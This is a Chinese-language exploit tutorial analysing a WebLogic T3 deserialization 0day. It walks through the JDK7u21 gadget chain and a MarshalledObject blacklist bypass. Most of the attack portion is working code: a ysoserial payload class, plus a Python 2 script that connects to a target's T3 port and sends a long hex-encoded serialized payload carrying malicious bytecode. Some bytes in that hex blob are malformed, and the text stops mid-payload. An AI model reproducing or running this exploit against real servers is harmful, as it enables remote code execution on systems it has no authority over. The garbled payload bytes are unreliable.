一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞
字数 1589 2025-08-10 00:24:01
WebLogic T3 反序列化0day漏洞分析与利用教学
漏洞概述
本漏洞是WebLogic T3协议中的一个反序列化0day漏洞,攻击者可以通过构造特殊的序列化数据,在目标服务器上执行任意代码。该漏洞基于JDK7u21的反序列化漏洞利用链,并通过java.rmi.MarshalledObject类绕过WebLogic的黑名单限制。
漏洞背景
在攻防演习期间,安全研究人员发现WebLogic T3协议存在反序列化漏洞。攻击者可以在原始的JDK7u21 POC基础上,通过添加java.rmi.MarshalledObject来绕过黑名单检测,实现远程代码执行。
技术分析
JDK7u21利用链分析
第一部分利用链
HashMap.put()
HashMap.hash()
*.hashCode()【计算第一个对象hash值)
HashSet.readObject()
HashMap.put()
HashMap.hash()
*.hashcode()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.hashCodeImpl()
HashMap.put()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader
TemplatesImpl.getTransletInstance()
Class.newInstance()
Runtime.exec()
关键点分析:
-
HashSet.readObject()触发点:
- 在对LinkedHashSet反序列化过程中,会进入
HashSet.readObject()函数 - 关键代码块:
for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); }
- 在对LinkedHashSet反序列化过程中,会进入
-
HashMap.put()处理:
- 计算存储进map的第一个对象Templates的Hash值
- 关键函数
hash(key):final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); }
-
动态代理利用:
- 构造动态代理使多个对象的hash值一致
- 当第二个对象是代理对象时,会进入
AnnotationInvocationHandler.invoke() - 关键方法
hashCodeImpl():private int hashCodeImpl() { int var1 = 0; Entry var3; for (Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; }
-
equals方法触发:
- 当hash值相等时,会执行
key.equals(k) - 进入
equalsImpl()方法:private Boolean equalsImpl(Object var1) { // 省略部分代码 Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for (int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; // 省略部分代码 var8 = var5.invoke(var1); // 省略部分代码 } return true; }
- 当hash值相等时,会执行
第一部分利用链关键条件:
- LinkedHashSet需要依次加入类对象和一个代理对象,使两个对象hash碰撞
- 代理对象的代理类
AnnotationInvocationHandler的第二个成员变量仅存储一个map结构数据,key为"f5a5a608",value是第一个类对象 - 代理类
AnnotationInvocationHandler的type成员变量必须是第一个类对象可转化的类 - 代理类的待利用方法需要是无参的
第二部分利用链
TemplatesImpl.getOutputProperties()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader
TemplatesImpl.getTransletInstance()
Class.newInstance()
Runtime.exec()
关键点分析:
-
TemplatesImpl.getTransletInstance():
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 省略部分代码 return translet; } catch (InstantiationException e) { // 异常处理 } } -
defineTransletClasses():
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { throw new TransformerConfigurationException("No translet classes were defined."); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { throw new TransformerConfigurationException("No main class specified."); } } catch (ClassFormatError e) { // 异常处理 } }
第二部分利用链关键条件:
_name变量不能为null_class=null_bytecodes变量是字节码类数组,包含一个父类是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的恶意类
MarshalledObject绕过分析
由于Weblogic将com.sun.org.apache.xalan.internal.xsltc.trax加入黑名单,原始的JDK7u21 POC会被拦截。新的0day利用通过MarshalledObject类绕过黑名单检测:
-
MarshalledObject.get()方法:
public T get() throws IOException, ClassNotFoundException { if (objBytes == null) return null; ByteArrayInputStream bin = new ByteArrayInputStream(objBytes); ByteArrayInputStream lin = (locBytes == null ? null : new ByteArrayInputStream(locBytes)); MarshalledObjectInputStream in = new MarshalledObjectInputStream(bin, lin); T obj = (T) in.readObject(); in.close(); return obj; } -
利用原理:
- 将序列化的恶意类对象保存至
objBytes变量 - 当程序执行
get()方法时,会调用readObject()解析执行恶意类对象 - 从而绕过Weblogic对
TemplatesImpl类的直接检测
- 将序列化的恶意类对象保存至
POC构造
团队成员设计的POC如下:
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21_0 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final MarshalledObject templates = new MarshalledObject(null);
// 序列化原始Jdk7u21obj
Object obj = new Jdk7u21().getObject(command);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutput objectOutput = null;
objectOutput = new ObjectOutputStream(byteArrayOutputStream);
objectOutput.writeObject(obj);
objectOutput.flush();
byte[] bytearray = byteArrayOutputStream.toByteArray();
Reflections.setFieldValue(templates, "objBytes", bytearray);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS)
.newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
Map proxy = Gadgets.createProxy(tempHandler, Map.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21_0.class, args);
}
}
POC关键点:
- 使用
MarshalledObject封装原始的JDK7u21 payload - 通过反射设置
objBytes字段为序列化后的恶意对象 - 构造
AnnotationInvocationHandler代理 - 使用
LinkedHashSet确保执行顺序 - 利用hash碰撞触发漏洞
漏洞复现
在JDK7u21、Weblogic12.1.3.0上通过T3协议发送攻击脚本,成功在/tmp目录创建文件。
EXP关键部分:
#!/usr/bin/python2
import socket
import os
import sys
import struct
import time
if len(sys.argv) < 2:
print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0])
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers= 't3 9.2.0\nAS:255\nHL:19\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj= '\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x19\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x4D\x61\x72\x73\x68\x61\x6C\x6C\x65\x64\x4F\x62\x6A\x65\x63\x74\x7C\xBD\x1E\x97\xED\x63\xFC\x3E\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5B\x00\x08\x6C\x6F\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5B\x42\x5B\x00\x08\x6F\x62\x6A\x42\x79\x74\x65\x73\x71\x00\x7E\x00\x04\x78\x70\x00\x00\x00\x0D\x70\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x0B\x8D\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x3A\x63\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x49\x6F\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\x06\x49\x00\x0D\x5F\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\x6E\x73\x6C\x65\x74\x49\x6E\x64\x65\x78\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\x00\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6F\x61\x73\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x05\x5F\x6E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x32\x3B\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\x19\x15\x67\x67\xDB\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x06\xA5\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x39\x0A\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\xAD\x20\x93\xF3\x91\xDD\xEF\x3E\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\xPA\x79\x6C\x6F\x61\x64\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x35\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\x00\x09\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\x6E\x64\x6C\x65\x72\x73\x01\x00\x42\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x73\x07\x00\x27\x01\x00\xA6\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6F\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x4L\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6F\x72\x01\x00\x35\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\x72\x01\x00\x41\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x28\x01\x00\x33\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\xs\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x40\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65